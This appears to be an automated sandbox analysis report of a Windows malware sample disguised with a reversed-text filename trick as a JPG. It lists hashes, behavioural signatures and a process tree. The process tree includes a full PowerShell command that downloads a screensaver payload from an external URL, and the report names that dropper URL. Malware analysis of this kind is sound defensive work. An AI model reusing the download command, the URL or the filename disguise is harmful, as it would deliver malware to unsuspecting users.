Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    02/08/2024, 03:57

General

  • Target
    death.‮gpj.scr.exe
  • Size 466KB
  • Sample240802-ehxsrszake
  • SHA256 e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://master-repogen.vercel.app/file/server.scr

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\death.ΓÇ«gpj.scr.exe
    "C:\Users\Admin\AppData\Local\Temp\death.‮gpj.scr.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1472
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\Dropper.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2572
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2616
  • C:\Windows\SysWOW64\DllHost.exe
    C:\Windows\SysWOW64\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    PID:2720

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        Dropper.bat

        • Path C:\Users\Admin\AppData\Local\Temp\Dropper.bat
        • Size 470B
        • SHA256 6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
        • MD5 SHA1 SHA512

        death.jpg

        • Path C:\Users\Admin\AppData\Local\Temp\death.jpg
        • Size 90KB
        • SHA256 598dc794a9b904fbc5f528e1ff290a54323f3598a15d063b31d48c06f71fa58f
        • MD5 SHA1 SHA512 SSDEEP

        memory/1472-4-0x0000000000DB0000-0x0000000000DB2000-memory.dmp

        memory/2720-5-0x0000000000220000-0x0000000000222000-memory.dmp

        memory/2720-7-0x00000000007C0000-0x00000000007C1000-memory.dmp

        memory/2720-41-0x00000000007C0000-0x00000000007C1000-memory.dmp